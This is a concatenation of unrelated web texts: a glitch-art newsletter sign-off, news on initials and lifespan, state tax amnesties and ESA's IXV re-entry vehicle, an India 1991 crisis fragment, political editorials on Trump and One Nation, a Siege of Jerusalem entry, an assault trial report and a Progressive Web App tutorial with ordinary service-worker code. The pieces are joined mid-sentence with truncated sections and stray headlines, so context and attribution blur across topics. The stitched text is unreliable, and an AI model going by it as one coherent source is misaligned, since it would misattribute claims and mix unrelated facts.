OK, so Minneapolis was fantastic to meet so many excellent (and cool) glitch artists. Some photos to come. But needless to say, Glitch Art Is NOT Dead and in fact it's alive and well good loving puppies. have a puppy. holy shit I'm tired. talk to you next week
Comments, rants, rambles, and hellos directly to [email protected].
Love,
Way
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END TRANSMISSIONNEW ORLEANS — Maybe names really will hurt you. People with initials such as ACE or GOD are likely to live longer than those whose names spell out words like APE, DUD, RAT or PIG, a study suggests.
The study, conducted by researchers from the University of California at San Diego, looked at 27 years' worth of California death certificates.
People with monograms such as JOY or WOW had a better chance of living longer--and were less likely to commit suicide or die in an accident--than those with neutral or meaningless initials such as JAY or WLW, or those named, say, BUM or UGH, said psychologist Nicholas Christenfeld.
He presented his findings Friday at a meeting in New Orleans of the Society of Behavioral Medicine.
"The argument is that there's some psychological symbolic factor that can exert its impact cumulatively over the years. You get teased at school, wonder what your parents thought of you--maybe fate is out to get you--but at every stage it's a little tiny depressant to be called PIG, or a little tiny boost to your esteem to be called ACE or WOW," he said in an interview. "All we can do is look at the final outcome."Enlarge By Jason Bean, Las Vegas Review-Journal Nevadans wait in line last month in Las Vegas after an amnesty is offered on unpaid traffic tickets. Cash-strapped states and local governments are trying to lure in overdue fines and taxes by offering scofflaws amnesty and threatening a dose of public humiliation. At least six states — Connecticut, Massachusetts, Virginia, Alabama, Nevada and Oklahoma — have offered to waive or reduce penalties, interest or fees on delinquent taxes. Louisiana and New Jersey are considering the idea. Michigan Gov. Jennifer Granholm, a Democrat, wants to "cyber-shame" tax deadbeats by posting their names on a state website. She needs legislators' approval. Nevada's state controller, Democrat Kim Wallin, wants an online "wall of shame" and proposes barring tax dodgers from registering cars until they pay up. The Legislature is considering the plan. "If everybody pays their fair share, we may not have to raise taxes on those who do pay their taxes," Wallin says. Nevada has a $981 million shortfall in its current $5.8 billion budget, Wallin says. Amnesty is happening more often because states and cities are desperate to close budget holes, says Verenda Smith of the Federation of Tax Administrators. Tax collectors don't like it, she says, because it encourages people not to pay on time and irritates responsible taxpayers who don't like to see scofflaws get a pass. Some communities turn to deadbeat drivers for revenue. Brookhaven, N.Y., and the Las Vegas Township Justice Court, which covers the Strip and unincorporated areas surrounding Las Vegas, offer amnesty on unpaid tickets. Bert Waisanen, a fiscal analyst with the National Conference of State Legislatures, says officials like amnesty because it produces quick cash. This year, he says, they may not collect as much because of the recession. "If you don't have it, will you pay it?" Waisanen asks. Tax amnesty in Oklahoma from September through November netted $115 million, $81 million more than expected, says Paula Ross, spokeswoman for the state Tax Commission. The revenue helped the state avoid a shortfall this year, budget director Brandy Manek says. The Las Vegas Township Justice Court collected $14 million from December through Feb. 13, which will help Clark County close a $54 million shortfall this year, county spokesman Dan Kulin says. Brookhaven on New York's Long Island offers a 50% reduction on outstanding parking tickets until May 15. The town expects to collect half of $1 million in unpaid tickets, says Councilwoman Jane Bonner, a Republican, who proposed the deal. "It's like a half-off sale," Bonner says. "We want the dollar, but we're not getting the dollar. Fifty cents is better than nothing." Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreNewsAlert
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ESA lifting body entry vehicle on the cusp of final approval
BY STEPHEN CLARK
SPACEFLIGHT NOW
Posted: June 10, 2011
PARIS -- The European Space Agency should formally approve this summer the construction of an Italian-led demonstrator that will launch into space on a rocket, fly back to Earth like an airplane and parachute into the Pacific Ocean, according to the mission's project manager.
Artist's concept of the Intermediate Experimental Vehicle plunging back to Earth throught the atmosphere. Credit: ESA
The Intermediate Experimental Vehicle is on track to blast off on a Vega rocket in late 2013, speed around the Earth at a peak altitude of nearly 300 miles, then drop from space and fly back to Earth with the help of aerodynamic flaps and a parachute. Giorgio Tumino, the IXV project manager at ESA, said the craft passed its final critical design review in May. Senior ESA officials are now firming up the spacecraft's cost before signing a contract with Thales Alenia Space of Italy to build the vehicle. Formal approval for the contract signature should come from an industry planning committee meeting at the end of June, Tumino said in an interview. "We are in quite an advanced stage of the program," Tumino said. "It's not paper, but it's reality. There is an internal European process for the approval of all the activities. We should be able to sign the actual contract by the end of this month." Sandrine Bielecki, a Thales spokesperson, said the company signed an agreement to be the IXV's prime contractor in 2009. Individual contracts for design work and hardware production are handled separately. After ESA and Thales sign a final production contract, there is a 27-month schedule planned to manufacture parts, build the spacecraft and test it before shipping the vehicle to the launch site in Kourou French Guiana. The total cost of the mission is about 100 million euros, or about $143 million. ESA has the money to build the spacecraft, but funding for Vega launcher will only come at the agency's next meeting of member states' ministers in late 2012. If ESA signs a launch contract then, IXV could be ready to fly in the fourth quarter of 2013, Tumino said. "The objective now is to place the contract, build the vehicle and qualify it, then have it ready to be shipped to Kourou," Tumino said. "We really are now going to procure the contract for all the pieces necessary to run the mission. Now what we are missing at the next Ministerial [Council] is only the Vega launcher. We'll have all the pieces there to meet the launcher." Construction should begin in September, according to Tumino. The IXV program is emerging from a reorganization at the last Ministerial Council meeting in 2008. Italy increased their financial commitment to the project, and Thales Alenia Space of Italy was appointed prime contractor. An industrial consortium of EADS Astrium and Finmeccanica previously held the position. The reorganization "induced some delays" as Thales Alenia Space got up to speed on the program, but now the IXV is ready to enter the production phase, according to Tumino. Its mission will last just a few hours, but the IXV is a big step for Europe. The demo flight will not go into orbit, but the craft is a prototype for future vehicles that could service the International Space Station, land on other planets, or carry people to orbit. The IXV mission builds on years of ESA development, including the Hermes space plane program shelved by Europe in 1992. Hermes was supposed to be Europe's version of the space shuttle, conceived as a mostly reusable ship able to carry people back forth to orbit.
Artist's concept of ESA's Hermes space plane. Credit: ESA
But no Hermes shuttle was ever built despite considerable technological developments in the program. ESA's atmospheric re-entry demonstrator mission in 1998 proved out the Hermes flight control algorithms, but the IXV will fly with more a more advanced heat shield and working aerosurfaces. And it's shaped more like Hermes. The mission also recycles ESA's research for the NASA-led X-38 crew return vehicle, a lifeboat for the space station that was scrapped in the last decade. The IXV will fly with approximately 28 advanced ceramic heat shield tiles on its belly, while white ablative material will insulate the top of the vehicle during entry. With no wings and a peculiar blunt cigar shape, the IXV won't land on a runway like the space shuttle. Instead, the 16-foot-long ship will gently fall into the Pacific Ocean under a parachute, where it will be retrieved by the Italian Navy or a commercial vessel. There is no landing gear. But even without wings, the IXV is shaped as a lifting body, meaning it can maneuver in the atmosphere through a series of roll reversals. Movements of two electromechanical body flaps at the rear of the vehicle will steer the IXV during entry. It has a lift-over-drag radio of 0.7, giving the IXV "more controllability during flight, more maneuverability, and eventually a precision landing," Tumino said. The craft's shape means it flies through the atmosphere instead of falling like a capsule. Engineers are targeting an error ellipse of about 3 miles on the IXV mission, but follow-on vehicles could land with even more precision. "This is a demonstration mission. We will be launching from Kourou with a Vega launcher, and we have a set of ground segment stations which will support the mission," Tumino said. "Where the vehicle meets the atmosphere, the conditions will be equivalent to a return mission from low Earth orbit, so basically a 7.5 kilometers per second [16,777 mph] entry speed, so that we can experience all the key environmental features of such a re-entry mission." The craft's nose will pitch up 40 degrees during re-entry, and it will bleed off speed in a series of roll maneuvers like the space shuttle. Once officials wrap up contract negotiations this summer, some of their attention will turn to studying applications for the technology to be tested by the IXV. Tumino said the analysis will help prepare a proposal to ESA member states for the continuation of the program after the 2013 demo flight. "We see opportunities and the possibility to go into orbit and perform ground landings, so to have a retrievable and reusable system," Tumino said. "It's not the space shuttle, which has a huge cost because it's a huge system. It would have to be contained in cost so it would be affordable for Europe to pursue."Causes and consequences Edit
The crisis was caused by currency devaluation;[2] the current account deficit, and investor confidence played significant role in the sharp exchange rate depreciation.[9][10][11] The economic crisis was primarily due to the large and growing fiscal imbalances over the 1980s. During the mid-eighties, India started having balance of payments problems. Precipitated by the Gulf War, India’s oil import bill swelled, exports slumped, credit dried up, and investors took their money out.[12] Large fiscal deficits, over time, had a spillover effect on the trade deficit culminating in an external payments crisis. By the end of the 1980s, India was in serious economic trouble. The gross fiscal deficit of the government (centre and states) rose from 9.0 percent of GDP in 1980-81 to 10.4 percent in 1985-86 and to 12.7 percent in 1990-91. For the centre alone, the gross fiscal deficit rose from 6.1 percent of GDP in 1980-81 to 8.3 percent in 1985-86 and to 8.4 percent in 1990-91. Since these deficits had to be met by borrowings, the internal debt of the government accumulated rapidly, rising from 35 percent of GDP at the end of 1980-81 to 53 percent of GDP at the end of 1990-91. The foreign exchange reserves had dried up to the point that India could barely finance three weeks worth of imports.[13] In mid-1991, India's exchange rate was subjected to a severe adjustment. This event began with a slide in the value of the Indian rupee leading up to mid-1991. The authorities at the Reserve Bank of India took partial action, defending the currency by expanding international reserves and slowing the decline in value. However, in mid-1991, with foreign reserves nearly depleted, the Indian government permitted a sharp devaluation that took place in two steps within three days (1 July and 3 July 1991) against major currencies.
Recovery Edit
Aftermath Edit
A program of economic policy reform 1991 was put in place which has yielded mixed results so far.[25]
See also EditDONALD TRUMP’S primary victories Tuesday present the Republican Party with a stark choice. Should leaders unite behind Mr. Trump, who has collected the most delegates but may reach the convention in July without a nominating majority? Or should they do everything they can to deny him the nomination? On a political level, this may be a dilemma. As a moral question, it is straightforward. The mission of any responsible Republican should be to block a Trump nomination and election.
We do not take this position because we believe Mr. Trump is perilously wrong on the issues, although he is. His proposed tariff on Chinese imports could spark a trade war and global depression. His proposed tax plan would bankrupt the government while enriching his fellow multimillionaires. But policy proposals, however ill-formed and destructive, are not the crux of the danger.
No, Mr. Trump must be stopped because he presents a threat to American democracy. Mr. Trump resembles other strongmen throughout history who have achieved power by manipulating democratic processes. Their playbook includes a casual embrace of violence; a willingness to wield government powers against personal enemies; contempt for a free press; demonization of anyone who is not white and Christian; intimations of dark conspiracies; and the propagation of sweeping, ugly lies. Mr. Trump has championed torture and the murder of innocent relatives of suspected terrorists. He has flirted with the Ku Klux Klan and other white supremacists. He has libeled and stereotyped wide swaths of humanity, including Mexicans and Muslims. He considers himself exempt from the norms of democratic contests, such as the release of tax returns, policy papers, lists of advisers and other information that voters have a right to expect.
[Republicans stain themselves by sticking with Trump]
Does a respect for democracy require the Republican Party to anoint its leading vote-getter? Hardly. We are not advocating that rules be broken but that they be employed to maximum effect — to force a brokered convention and nominate a conservative candidate who respects the Constitution, or to defeat Mr. Trump in some other way. If Mr. Trump is attracting 40 percent of Republicans, who in turn represent about one-quarter of the country, that is a 10 percent slice of the population — hardly a mantle of legitimacy.
Republican front-runner Donald Trump spoke in Palm Beach, Fla., after primary voters took to the polls in five states: Florida, Illinois, Ohio, Missouri and North Carolina. (Reuters)
There are some Americans, Democrats in particular, who are happy to watch the Republican Party self-destruct with Mr. Trump at the helm. We cannot share in their equanimity. For one thing, though Hillary Clinton, the likely Democratic nominee, would be heavily favored, a Trump defeat is far from sure. For another, the country needs two healthy parties and, ideally, a contest of ideas and ideology — not a slugfest of insults and bigotry. Mr. Trump’s emergence already has done grave damage to American civility at home and prestige abroad. The cost of a Trump nomination would be far higher.
On Wednesday, Mr. Trump offered what was meant as an argument for his nomination. If he reaches the convention with a lead short of an outright majority, and then fails to win, “I think you’d have riots,” Mr. Trump said. “I think you’d have problems like you’ve never seen before. I think bad things would happen.”
A democrat disavows violence; a demagogue wields it as a threat. The Republican Party should recognize the difference and act on it before it is too late.Sanders will appear at the Dayton Masonic Center, 525 W. Riverview Ave., with two progressive groups, Not One Penny and MoveOn.org Civic Action.
To go to the event click on this link.
“The tour is the latest effort by progressive activists to stop the Republican plan to raise taxes on working families,” according to a news release issued by Robyn Patterson, spokesperson for Not One Penny.
BREAKING NEWS: DeWine, Husted to run together in governor’s race, sources say
The group says the Republican tax plan would lead to tax increases for more than 87 million middle class families.
On Tuesday the Senate Budget Committee approved the GOP plan and sent it to the floor.
RELATED: Ohio Republicans all back tax overhaul, but will it raise the deficit?
The U.S. House earlier approved a tax reform proposal with no Democratic support.
President Donald Trump and Republicans in Congress contend the House version and the one pending in the Senate will provide tax cuts for everyone and give businesses a boost that will create jobs. Democrats say both bills favor the rich and businesses at the expense of middle class people, will lead to budget cuts and will add about $1.5 trillion to the U.S. deficit over 10 years.
RELATED: Tax bill advances, final Senate vote uncertain
Patterson said the Protect W0rking Families tour includes stops in Louisville, Akron and Reading, PA through Sunday.
Other stories by Lynn Hulsey
O’Neill’s boast of sexual liaisons brings calls for his resignation
New death date set for man after state halted his execution
Jim Jordan says John Boehner is ‘angry,’ ‘bitter’
The newest frontier for hackers: your carThe Siege of Jerusalem was a siege on the city of Jerusalem that lasted from September 20 to October 2, 1187, when Balian of Ibelin surrendered the city to Saladin. Though Jerusalem fell, it was not the end of the Kingdom of Jerusalem, as the capital shifted first to Tyre and later to Acre after the Third Crusade. Latin Christians responded in 1189 by launching the Third Crusade led by Richard the Lionheart, Philip Augustus, and Frederick Barbarossa separately.[1]
Background [ edit ]
The Kingdom of Jerusalem, weakened by internal disputes, was defeated at the Battle of Hattin on 4 July 1187. Most of the nobility were taken prisoner, including King Guy. Thousands of Muslim slaves were freed.[2][3][4] By mid-September, Saladin had taken Acre, Nablus, Jaffa, Toron, Sidon, Beirut, and Ascalon. The survivors of the battle and other refugees fled to Tyre, the only city able to hold out against Saladin, due to the fortuitous arrival of Conrad of Montferrat.
Situation in Jerusalem [ edit ]
In Tyre, Balian of Ibelin had asked Saladin for safe passage to Jerusalem in order to retrieve his wife Maria Comnena, Queen consort of Jerusalem and their family. Saladin granted his request, provided that Balian not take up arms against him and not remain in Jerusalem for more than one day; however, upon arrival in the holy city, Patriarch Heraclius of Jerusalem, Queen Sibylla, and the rest of the inhabitants begged him to take charge of the defense of the city. Heraclius, who argued that he must stay for the sake of Christianity, offered to absolve him of the oath, and Balian agreed.
He sent word of his decision to Saladin at Ascalon via a deputation of burgesses, who rejected the sultan's proposals for a negotiated surrender of Jerusalem; however, Saladin arranged for an escort to accompany Maria, their children, and all their household to Tripoli. As the highest ranking lord remaining in Jerusalem, according to the chronicler Ibn al-Athir, Balian was seen by the Muslims as holding a rank "more or less equal to that of a king."[5]
Balian found the situation in Jerusalem dire. The city was filled with refugees fleeing Saladin's conquests, with more arriving daily. There were fewer than fourteen knights in the whole city, so he created sixty new knights from the ranks of the squires (knights in training) and burgesses. He prepared for the inevitable siege by storing food and money. The armies of Syria and Egypt assembled under Saladin, and after conquering Acre, Jaffa, and Caesarea, though he unsuccessfully besieged Tyre, the sultan arrived outside Jerusalem on September 20. [6]
Siege [ edit ]
After a brief reconnoiter around the city, Saladin's army came to a rest before the Tower of David and the Damascus Gate.[7] His archers continually pelted the ramparts with arrows. Siege towers/belfries were rolled up to the walls, but were pushed back each time. For six days, skirmishes were fought with little result. Saladin's forces suffered heavy casualties after each assault. On September 26, Saladin moved his camp to a different part of the city, on the Mount of Olives where there was no major gate from which the crusaders could counter-attack. The walls were constantly pounded by the siege engines, catapults, mangonels, petraries, Greek fire, crossbows, and arrows. A portion of the wall was mined, and it collapsed on September 29. The crusaders were unable to push Saladin's troops back from the breach, but at the same time the Muslims could not gain entrance to the city. Soon there were only a few dozen knights and a handful of remaining men-at-arms defending the wall, as no more men could be found even for the promise of an enormous fee.[8]
The civilians were in great despair. According to a passage possibly written by Ernoul, a squire of Balian, in the Old French Continuation of William of Tyre, the clergy organized a barefoot procession around the walls, much as the clergy on the First Crusade had done outside the walls in 1099. At Mount Calvary, women cropped their children's hair, after immersing them chin-deep in basins of cold water. These penances were aimed at turning away God's wrath from the city, but "…Our Lord did not deign to hear the prayers or noise that was made in the city. For the stench of adultery, of disgusting extravagance and of sin against nature would not let their prayers rise to God." [9]
At the end of September, Balian rode out with an envoy to meet with the sultan, offering surrender. Saladin told Balian that he had sworn to take the city by force, and would only accept an unconditional surrender.[10] Saladin told Balian that Saladin's banner had been raised on the city wall, but his army was driven back. Balian threatened that the defenders would destroy the Muslim holy places, slaughter their own families and the 5000 Muslim slaves, and burn all the wealth and treasures of the Crusaders.[11] Saladin, who wanted to take the city with as little bloodshed of his fellow Muslims as possible, insisted that the Crusaders were to unconditionally surrender but could leave by paying a ransom of ten dinars for men, five for women and two for children; those who couldn't pay would be enslaved. Balian told him that there were 20,000 in the city who could never pay that amount. Saladin proposed a total of 100,000 dinars to free all the 20,000 Crusaders who were unable to pay. Balian complained that the Christian authorities could never raise such a sum. He proposed that 7,000 of them would be freed for a sum of 30,000 dinars, and Saladin agreed.[12]
Aftermath [ edit ]
Les Passages faits Outremer par les Français contre les Turcs et autres Sarrasins et Maures outremarins, c. 1490 Balian of Ibelin surrendering the city of Jerusalem to Saladin, from, c. 1490
On Balian's orders the Crusaders surrendered the city to Saladin's army on October 2. The take-over of the city was relatively peaceful especially in contrast to the Crusader siege of the city in 1099. Balian paid 30,000 dinars for freeing 7,000 of those unable to pay from the treasury of the city. The large golden Christian cross that had been placed over the Dome of the Rock by the Crusaders was pulled down and all Muslim prisoners of war taken by the Crusaders were released by Saladin who according to the Kurdish scholar and historian Baha ad-Din ibn Shaddad, numbered close to 3,000. Saladin allowed many of the noble women of the city to leave without paying any ransom. For example, a Byzantine queen living a monastic life in the city was allowed to leave the city with her retinue and associates as also Sibylla, the queen of Jerusalem and wife of the captured King Guy. Saladin also granted her safe passage to visit her captive husband in Nablus. The Native Christians were allowed to remain in the city while those of Crusader origin were allowed to leave Jerusalem for other lands along with their goods through a safe passage via Akko by paying a ransom of 10 dinars. Saladin's brother, Al-Adil was moved by the sight and asked Saladin for 1,000 of them as reward of his services. Saladin granted his wish and Al-Adil immediately released them all. Heraclius upon seeing this asked Saladin for some slaves to liberate. He was granted 700 while Balian was granted 500 and all of them were freed by them. All the aged people who could not pay the ransom were freed by orders of Saladin and allowed to leave the city. He then proceeded to free 1,000 more captives upon request of Muzaffar al-Din Ibn Ali Kuchuk who claimed they were from his hometown of Urfa. In order to control the departing population he ordered the gates of the city to be closed. At each gate of the city a commander was placed who checked the movement of the Crusaders and made sure only those who paid the ransom left the city. Saladin then assigned some of his officers the job of ensuring the safe arrival of the Crusaders in Christian lands. 15,000 of those who could not pay the ransom were ransomed into slavery. According to Imad ad-Din al-Isfahani, 7,000 of them were men and 8,000 were women and children.
On Saladin's orders, the ransomed inhabitants marched away in three columns accompanied by 50 cavalrymen of Saladin's army. The Templars and Hospitallers led the first two, with Balian and the Patriarch leading the third. Balian joined his wife and family in County of Tripoli. The refugees first reached Tyre where only men who could fight were allowed to enter the city by Conrad of Montferrat. The remaining refugees went to the County of Tripoli, which was under Crusader control. They were denied entrance and robbed of their possessions by raiding parties from within the city. Most of the less affluent refugees went to Armenian and Antiochian territories and were later successful in gaining entrance into Antioch. The remaining refugees fled from Ascalon to Alexandria where they were housed in makeshift stockades and received hospitable treatment from the city officials and elders. They then boarded Italian ships which arrived from Pisa, Genoa and Venice in March 1188. The captains of the ships at first refused to take the refugees since they were not being paid for them and did not have supplies for them. The governor of Alexandria who had earlier taken the oars of the ships for payment of taxes refused to grant sailing permits to the captains until they agreed. The latter then agreed to take the refugees along with them and were made to swear decent treatment and safe arrival of the refugees before they left.[13][14]
After the surrender of the city, the Church of the Holy Sephulcre was ordered to be closed for three days by Saladin while he considered what to do with it. Some of his advisers told him to destroy the Church in order to end all Christian interest in Jerusalem. Most of his advisers however told him to let the Church remain there saying that Christian pilgrimages would continue anyway because of the sanctity of the place and also reminded him of the Caliph Umar who allowed the Church to remain in Christian hands after conquering the city. Saladin rejected the destruction of the church saying that he had no intention to discourage the Christian pilgrimages to the site and it was reopened after three days on his orders. The Frankish pilgrims were allowed to enter the church upon paying a fee. To solidify Muslim claims to Jerusalem, many holy sites, including the shrine known as Al-Aqsa Mosque, were ritually purified with rose water. Christian furnishings were removed from the mosque and it was fitted with oriental carpets. Its walls were illuminated with candelabras and text from the Quran. The Orthodox Christians and Jacobites were allowed to remain and to worship as they chose. The Copts who were barred from entering Jerusalem by the Crusader kingdom of Jerusalem as they were considered heretics and atheists, were allowed to enter the city without paying any fees by Saladin as he considered them his subjects. The Coptic places of worship that were earlier taken over by the Crusaders were returned to the Coptic priests. The Copts were also allowed to visit The Church of the Holy Sephulcre and other Christian sites. The Abyssinian Christians were allowed to visit the holy places of Jerusalem without paying any fees.[15][16][13]
The Byzantine emperor, Isaac Angelus sent a message to Saladin congratulating him on taking the city, requesting him to convert all the churches in the city back to the Orthodox church and all Christian ceremonies to be performed according to the Greek Orthodox liturgy. His request was granted and the rights of other sects were preserved. The local Christians were allowed to pray freely in their churches and the control of Christian affairs was handed over to the Byzantine patriarchate.[15][16]
Saladin went on to capture a number of other castles that were still holding out against him, including Belvoir, Kerak, and Montreal, and returned to Tyre to besiege it for a second time.
Meanwhile, news of the disastrous defeat at Hattin was brought to Europe by Joscius, Archbishop of Tyre, as well as other pilgrims and travelers, while Saladin was conquering the rest of the kingdom throughout the summer of 1187. Plans were immediately made for a new crusade; on October 29, Pope Gregory VIII issued the bull Audita tremendi, even before hearing of the fall of Jerusalem. In England and France, the Saladin tithe was enacted in order to finance expenses. The Third Crusade did not get underway until 1189, in three separate contingents led by Richard the Lionheart, King of England, Philip Augustus, King of France, and Frederick Barbarossa, Emperor of Rome. They failed to regain Jerusalem.
In popular culture [ edit ]
Much of the film Kingdom of Heaven focuses on the siege, though this version has been roundly criticized by historians.
References [ edit ]
Bibliography [ edit ]
Amin Maalouf, The Crusades Through Arab |
im Kirsten Schuck sat in the court gallery for the proceeding with NYPD Detective Martin Pastor, who brought the misdemeanor case against Cherkasky. She didn’t react to the verdict.
But the 32-year-old woman had repeatedly broken into heaving sobs when she testified against Cherkasky last week, telling the judge she thought he was trying to kill her.
The fight began during the early hours of Nov. 1, after a night of heavy drinking, when Cherkasky began searching for his coat inside the Failte bar on Second Avenue.
He picked up Schuck’s purse and scarf from a chair, and she angrily told him not to touch her things.
The dispute between the drunken strangers quickly escalated.
“He screamed at me, ‘You c- -t!’ and started rushing toward me,” she said. “I splashed beer in his face. I thought it would slow him down or stop him.”
Schuck said that Cherkasky slammed her into a railing, then dragged her to the floor and repeatedly choked and slapped her. It took four men to pull him off her.
Bronx ADA Nicole Donatich, who prosecuted the case after the Manhattan District Attorney’s Office recused itself, called the attack a “nightmare” that Schuck “will never forget.”
But defense lawyer Paul Shechtman insisted that Schuck was the real aggressor and slugged Cherkasky and tossed beer in his face before clumsily falling against the railing and injuring herself.
“Miss Schuck’s testimony was false,” the lawyer said. “It was dramatically false. It was drama. She needed two breaks during direct examination. She began crying at the outset, she began crying again and needed a break, she even cried once on cross-examination.”
“Her motive is hard to know, but here’s an obvious one Miss Schuck seems to enjoy the spotlight,” he added.
Grainy surveillance video captured the moments leading up to the altercation but not Cherkasky choking her.
He faces a maximum of one year in jail when he returns to court for sentencing Nov 5.A beginner’s guide to making Progressive Web Apps
Arora Blocked Unblock Follow Following Jul 4, 2017
You may have heard about Progressive Web Apps or PWAs for short, I’m not going to go into all the details of what exactly makes up a PWA or how they work. For the purpose of this post, a PWA is a website that you can add to your phone’s home screen and that will work while offline.
I know some HTML, CSS, JavaScript and how to use GitHub.
I am still new to web development and don’t want to learn why and how stuff works right now. I want an easy, basic way to make something that works without going through pages and pages of documentation and tutorials. Hopefully, this post will be all you need to get started in making your own PWA.
To make a PWA we need a website. This of course, assumes you can already make a website that scales well on all types of screens and devices. Luckily we don’t need to do that from scratch, we can use a template. I like the ones from HTML5 UP and Start Bootstrap.
Pick and download a theme, replace all the content with your own in the index.html. You can even change the colours if you’re feeling brave enough to edit some CSS.
For this project, I was making a landing page for Web Community Leads UK and IE. You can find out more about that by reading Daniels blog post about it, or by visiting the site I made https://webcommunityukie.github.io/
Making this website into a PWA doesn’t add much for most users as I’m not expecting anyone to add it to their home screen, but it will still make the experience better. I just wanted a small site to start with to get into making PWAs myself.
I wanted a really simple site, I liked Hacksmiths website and knew it was opensource so I downloaded and gutted it. I did keep in a link at the bottom of the site that refers back to them and the link to the code so people can fork our new site.
Now that we have a website we can start turning it into a progressive web app. To do this we need to add a few things to it which I’ll go through as we need them.
Testing your PWA
To check if your site is working as a PWA you can use Lighthouse. Lighthouse is a chrome extension that will tell you if your site is a good PWA and if it isn’t how to improve it.
Once installed open up your website and click on the Lighthouse icon in the top right of your browser then Generate Report. It will do some stuff then open up a new tab with some information, you could read through it, or you could focus on the big numbers at the top and ignore the rest.
Lighthouse results before I started working on the PWA parts of the site
36/100 isn’t that bad considering I hadn't started doing anything to the site yet to make it a progressive web app.
Make an app icon
Your site is going to be on a home screen, you need some sort of icon to represent it.
You don’t need to be a designer to make a nice logo. For most small projects I make I go on to the noun project and find one or two icons I like then put them together using GIMP. Then on the layer behind add a gradient background. You, of course, can use whatever method you like to make your icon, just make sure it’s a square.
The Icon I made. Looking back I should have added rounded corners.
You now have an app icon 🎉
Time to put it on your site. The way I did this was by using this online icon generator tool. Feed it your shiny new icon and it will spit out a bunch of resized versions and some HTML code.
- Download the file it gives you and unzip it.
- Put the icons in a folder next to the rest of your site.
- Add the code it gave you to the <head> of you index.html file
- Make sure the path to the icons is right. I put them all in a sub folder so had to add “icons/” to each line.
Web App Manifest
Next thing to do is create a manifest. A manifest is a file that contains data about a website, like its name, its favourite colour and what icons it uses.
You actually already have a manifest that was created by the icon generator tool, but we’re going to add a little bit more to it.
Head on over to a web app manifest generator and start filling in the info about your site. If you’re unsure of something just leave it as its default.
On the right-hand side of the page, there is some JSON data. Copy and paste it at the top of your manifest.json file, making sure the formatting didn’t break, you may need to add a comma or delete a bracket.
My manifest ended up looking like this.
Running lighthouse again will show you if the manifest works.
Lighthouse score after manifest and icons were added
Adding a service worker
A service worker is another file we add to our project, it will allow the site to work offline. It is also a requirement of a PWA, so we need one.
Service workers are complicated things and I found documentation around them to be long, confusing and full of links to other pages which are just as long and confusing.
Luckily I had Peter recommend that I try sw-toolbox and gave me a link to his code.
So I copied his code and made it even simpler for my project by removing one of the extra JavaScript files and writing it all in the service worker instead.
To create a service worker you’ll need to do 3 things.
Register the service worker by adding this code to the <head> of your index.html:
<script>
if (‘serviceWorker’ in navigator) {
window.addEventListener(‘load’, function() {
navigator.serviceWorker.register(‘/sw.js’).then(
function(registration) {
// Registration was successful
console.log(‘ServiceWorker registration successful with scope: ‘, registration.scope); },
function(err) {
// registration failed :(
console.log(‘ServiceWorker registration failed: ‘, err);
});
});
}
</script>
Add sw-toolbox to your project. You just need to add this file to your root folder.
Create a new file, call it “sw.js” copy and paste in this:
‘use strict’;
importScripts(‘sw-toolbox.js’); toolbox.precache([“index.html”,”style/style.css”]); toolbox.router.get(‘/images/*’, toolbox.cacheFirst); toolbox.router.get(‘/*’, toolbox.networkFirst, { networkTimeoutSeconds: 5});
You’ll want to check that all the file paths look right and edit the precache and list all the files you want to store when offline, I only use index.html and style.css for my site, but you may have other files or pages.
Now, let’s test it with Lighthouse again.
After adding a service worker - Tested on localhost
If you want your service worker to do something slightly different than just save certain pages, such as show a specific offline page when you don’t have internet access you can try out pwabuilder which has a few different service worker scripts you can use.
Hosting it on GitHub Pages
You have a made a PWA, it’s now time to share it with the world.
I’ve found the easiest way to do that is through GitHub Pages as it is free and handles all the security stuff for you.
To host your code on Github is by creating a repository and putting your code inside it, the GitHub GUI will help you do this.
Once done find your repository on the website, go to settings, scroll down and enable GitHub Pages by selecting master branch.
It should then give you a live URL to your PWA.
Running this through lighthouse gives different (better) results and now you can share your site with all your friends, or just download it to your phones home screen.
Lighthouse results after hosting the website on GitHub pages
The code: https://github.com/webcommunityukie/webcommunityukie.github.io
The finished site: https://webcommunityukie.github.io/
It looks exactly the same as when I started, but when browsing it on Samsung Internet the address bar will change to the theme colour, a light purple. A plus icon will appear which will let you add it to your home screen, which will let you open it up in full screen and use it offline.
There is a lot more to PWAs than mentioned in this post, you can get them to send push notifications when your app gets new content. You can read more about what makes up a PWA.
I hope this has helped you get your first taste of making progressive web apps, if you got stuck along the way don’t be afraid to leave a comment or tweet at me.Starting with Arthur Sinodinos, a lot of noises have been made in the last week about how One Nation is more sophisticated now, how the party has changed, and how it wouldn’t be so bad if the WA Liberals exchanged preferences in the upcoming state election.
This is rubbish. Pauline Hanson hasn’t altered a bit. Her views haven’t softened at all since the 1990s – she has even developed new enthusiasms for Islamophobia and climate change denial. And her party is stuffed full of the same sorts of fringe-dwellers, bigots, and opportunists that she has always attracted.
True, the precise targets of her scapegoating rhetoric have changed. Whereas once she was all about “the Aboriginal industry” and feared being “swamped” by Asian immigration, now she’s all about banning burqas and halal foods and placing Mosques under surveillance – she’s promised an inquiry to determine whether Islam is “a religion or a totalitarian ideology”.
Pauline Hanson leaves Coalition at crossroads – and all roads lead north | Katharine Murphy Read more
She still wants zero net immigration to Australia, and her other policies are the same patchwork of reactionary grievance porn that she pushed twenty years ago. Fathers’ rights, citizen-initiated referenda, the rollback of gun laws … these aren’t just old-timey One Nation obsessions. They’re all long-time staples of Australia’s populist far right, especially in Queensland.
Major One Nation policy areas – like Agenda 21 – are premised on the conspiracy theories that they share with the far right worldwide.
Today’s One Nation’s assemblage of candidates and senators, are no less a grotesquerie than those who have come before. Indeed they regularly make a fair claim for being worse. Back in the 90s, poor old Ken Turner at least did some good as a Mall Santa in Townsville. Malcolm Roberts, by contrast, spent years sending out his unsolicited, unreadable summaries of bunk science to people who largely, sensibly ignored them.
Meanwhile Hanson has been shedding candidates for various offences including Port Arthur trutherism, talking about homosexuality as an illness, and abuse on Twitter.
In recent days, as state Liberals prepare to preference the party, a One Nation candidate in Western Australia is taking water over his barely articulate but thoroughly offensive tweets about Muslims and LGBT people.
With folks like this in the ranks, Hanson is, just as she did in the 1990s, struggling to keep her party together. They were only able to restore their voting bloc to four because rogue Senator Rod Culleton was bankrupt – expect more cracks to emerge as their term wears on.
